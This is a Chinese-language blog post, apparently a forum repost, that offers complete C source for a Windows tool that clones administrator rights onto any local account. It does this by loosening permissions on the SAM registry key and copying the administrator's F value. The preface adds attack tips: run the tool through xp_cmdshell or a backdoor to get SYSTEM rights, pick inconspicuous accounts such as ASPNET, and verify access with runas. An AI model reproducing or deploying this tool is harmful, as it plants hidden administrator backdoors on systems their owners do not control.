支持xp-win2016下完美进行任意用户克隆的C源码

软件作者:pt007@vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

  本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点
  SHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SERV提权/反弹CMDSHELL
软件使用问题整理:
引用第46楼kuba8于2007-04-25 20:16发表的 :
我发现在国外有些机上不能执行,不知道为什么~
1、这种情况很可能是SAM键值做了安全设置,比如只允许system完全控制,administrators组成员连读取权限都没有,解决方法是获得一个system权限的SHELL,比如用SQL的XP_CMDSHELL来运行这个命令,或者利用服务启动的后门一般都是system权限的,所以你可以找一个第三方的后门程序来执行这个程序。
2、最近我在做一个渗透项目的时候发现,如果服务器为域服务器,也会出现clone5 -l列不出或列不全用户的情况,这种情况下建议大家不要使用任何的用户克隆类软件,否则把用户的机器搞出问题了就不好玩了,建议大家可以留个后门,解决方案等有时间再进行研究。
3、2000下停用了账号依然可以正常使用,03下面必须启用,删除了克隆用户也没问题,总之和正常用户一样进行操作就可以了,克隆完之后要使用net user aspnet test来修改密码。
4、克隆之后会启用该用户。
5、测试克隆用户的方法:
runas /user:aspnet cmd 
net share (能执行代表具有管理员权限)
6、任意用户均可以克隆,建议大家的眼光不要局限克隆GUEST,多克隆其它的一些账号,比如ASPNET和tsinternetuser等。

#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <aclapi.h>
 
char name[50][30];
int KeyN=0;
LPTSTR lpObjectName;
SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
PACL OldDACL,NewDACL;
PSECURITY_DESCRIPTOR SD;
EXPLICIT_ACCESS ea;
//OpenKey(),ViewUser(),ListUser()函数用到的变量
 
//显示用户名对应的安全标识符:
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);//列出用户名和类型值(用户SID)
int Clone (char *C_sid);//克隆帐户
void Usage (void);//帮助信息
 
//设置注册表的存取权限:
void new();
void old();
 
void main (int argc, char *argv[])
{
char C_Sid[10];
int n;
if(argc<2)
{Usage();
return;}
 
//提升注册表SAM键的权限:
new();
 
//如何使用命令行参数的方法:
for (n=1;n<argc;n++)
{
if (argv[n][0] == '-')
{
switch(argv[n][1])
{
case '?':
case 'h':
case 'H':Usage();
break;
 
case 'l':
case 'L':ListUser();
  old();
break;
 
case 'c':
case 'C':
if(argc<3)
{printf("Useage:%s -c 1F5
",argv[0]);
 old();
 break;}
strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组
if (strlen(C_Sid)<=10)
Clone(C_Sid);
else
printf("Error
");
//恢复注册表的权限:
old();
 
  break;
 
}
}
}
}
 
 
void OpenKey (char *key)
{
HKEY hkey;//注册表键值的句柄
DWORD dwIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;
//下面是字符数组清0:
ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);
 
RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
key, //传递一个参数,欲打开的注册表项
0, //未用,设为0即可
KEY_ALL_ACCESS, //描述新键值安全性的访问掩码
//它们的组合描述了允许对这个项进行哪些操作
&hkey);//装载上面打开项的句柄
 
for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
//T_name:用于装载指定索引处项名的一个缓冲区
//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
//一旦返回,它会设为实际装载到lpName缓冲区的字符数量
//NULL:未用,设为零
//NULL:项使用的类名
//NULL:用于装载lpClass缓冲区长度的一个变量
//&lpftlast:FILETIME,枚举子项上一次修改的时间
 
strcat(name[i],T_name);//将每个子键名加入到name[i]数组中
 
ZeroMemory(T_name,100);//清0
lpcbname=100;
}
//printf("subkey=%s
",name[0]);//administrator
RegCloseKey(hkey); //关闭注册键
 
//拼接用户名:
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"

");
}
}
 
int ViewUser (char *key)
{
HKEY hkey;
DWORD lpType=0,ret;
char S_name[10];
 
 
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,//如://SAM\SAM\Domains\Account\Users\Names\administrator
0,
KEY_ALL_ACCESS,
&hkey);
 
if(ret==ERROR_SUCCESS)
  ;
else
return 0;
 
RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
//NULL:要获取值的名字
//NULL:未用,设为零
//&lpType:用于装载取回数据类型的一个变量
//NULL:用于装载指定值的一个缓冲区
//NULL:用于装载lpData缓冲区长度的一个变量
 
wsprintf(S_name,"%X

",lpType);
printf("%s",S_name);
 
return 1;
}
 
int ListUser (void)
{
int n;
char Buffer[70]="SAM\SAM\Domains\Account\Users\Names\";
char Temp[40]={''};
 
OpenKey("SAM\SAM\Domains\Account\Users\Names");
 
for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);//SAM\SAM\Domains\Account\Users\Names\administrator
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\SAM\Domains\Account\Users\Names\");
}
return 1;
}
 
int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
//为注册表的F与V值分配空间:
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);
//清0:
ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);
 
strcpy(CloneSid,"SAM\SAM\Domains\Account\Users\00000");
strcat(CloneSid,C_sid);//如:SAM\SAM\Domains\Account\Users\000001F5
 
ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\SAM\Domains\Account\Users\000001F4", //administrator的子键
0,
KEY_ALL_ACCESS,
&hkey);
 
if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出F值然后存入lpDataF中:
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);
 
if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出v值然后存入lpDataV中:
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);
 
if(ret==ERROR_SUCCESS)
;
else
return 0;
//下面是打开需克隆用户如guest的键值:
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid, //如:SAM\SAM\Domains\Account\Users\000001F5
0,
KEY_ALL_ACCESS,
&C_hkey);
 
if(ret==ERROR_SUCCESS)
;
else
return 0;
//将lpDataF中的值来替换需克隆用户的F值:
ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”:要设置值的名字
//0:未用,设为零
//REG_BINARY:要设置的数量类型
//lpDataF:包含数据的缓冲区中的第一个字节
//SizeF:lpData缓冲区的长度
 
if(ret==ERROR_SUCCESS)
printf("Clone User Success
");
else
{
printf("Clone User FAIL
");
return 0;
}
//关闭已打开的注册表句柄:
RegCloseKey(hkey);
RegCloseKey(C_hkey);
 
return 1;
}
 
void new()
{//下面是设置SAM键的权限为everyone:
  lpObjectName = "MACHINE\SAM\SAM";
 
  ObjectType =SE_REGISTRY_KEY;
 
  //建立一个空的ACL;
  if (SetEntriesInAcl(0, NULL, NULL, &
 
  OldDACL)!=ERROR_SUCCESS)
    return;
 
  if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
    return;
 
  //获取现有的ACL列表到OldDACL:
  if(GetNamedSecurityInfo(lpObjectName, ObjectType,
             DACL_SECURITY_INFORMATION,
             NULL, NULL,
             &OldDACL,
             NULL, &SD) != ERROR_SUCCESS)
     printf("指定的键不存在!
");
// 本文转自 C++Builder 研究 - [url]http://www.ccrun.com/article.asp?i=563&d=tshoza[/url]
 //设置用户名"Everyone"对指定的键有所有操作权到结构ea:
  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
 
  BuildExplicitAccessWithName(&ea,
                "Everyone",   // name of trustee
                KEY_ALL_ACCESS,   // type of access
                SET_ACCESS,   // access mode
                SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限
 
 
  //合并结构ea和OldDACL的权限列表到新的NewDACL:
  if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
     goto Cleanup;
 
  //把新的ACL写入到指定的键:
  SetNamedSecurityInfo(lpObjectName, ObjectType,
     DACL_SECURITY_INFORMATION,
     NULL, NULL,
     NewDACL,
     NULL);
//释放指针
  Cleanup:
  if(SD != NULL)
     LocalFree((HLOCAL) SD);
  if(NewDACL != NULL)
     LocalFree((HLOCAL) NewDACL);
  if(OldDACL != NULL)
     LocalFree((HLOCAL) OldDACL); 
}
 
void old()
{
//恢复注册表的权限:
 
  BuildExplicitAccessWithName(&ea,
                "system",   // name of trustee
                KEY_ALL_ACCESS,   // type of access
                SET_ACCESS,   // access mode
                SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限
 
  if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
    goto Cleanup;
 
  //把旧的ACL写入到指定的键:
  SetNamedSecurityInfo(lpObjectName, ObjectType,
     DACL_SECURITY_INFORMATION,
     NULL, NULL,
     OldDACL,
     NULL);
  //释放指针
  Cleanup:
  if(SD != NULL)
     LocalFree((HLOCAL) SD);
  if(NewDACL != NULL)
     LocalFree((HLOCAL) NewDACL);
  if(OldDACL != NULL)
     LocalFree((HLOCAL) OldDACL); 
 
}
 
 
//输出帮助的典型方法:
void Usage (void)
{
fprintf(stderr,"===============================================================================
"
"	名称:2003与2000下克隆任意用户程序
"
"	环境:Win2003 + Visual C++ 6.0
"
"	作者:[email]pt007@vip.sina.com[/email]
"
"	QQ:7491805
"
"	声明:本软件由pt007原创,转载请注明出处,谢谢!
"
"
"
"	使用方法:
"
"	\"-H\":帮助信息
"
"	\"-L\":列出系统中用户对应的SID
"
"	\"-C 1F5\":克隆帐户,输入SID即可
"
"	 对应注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
"
"	 对应注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
"
"
"
"	注意事项:
"
"	由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位
"
"	例如:000001F5,则直接输入1F5,即可将Guest帐户克隆
"
"===============================================================================
");
}
原文地址:https://www.cnblogs.com/pt007/p/11876568.html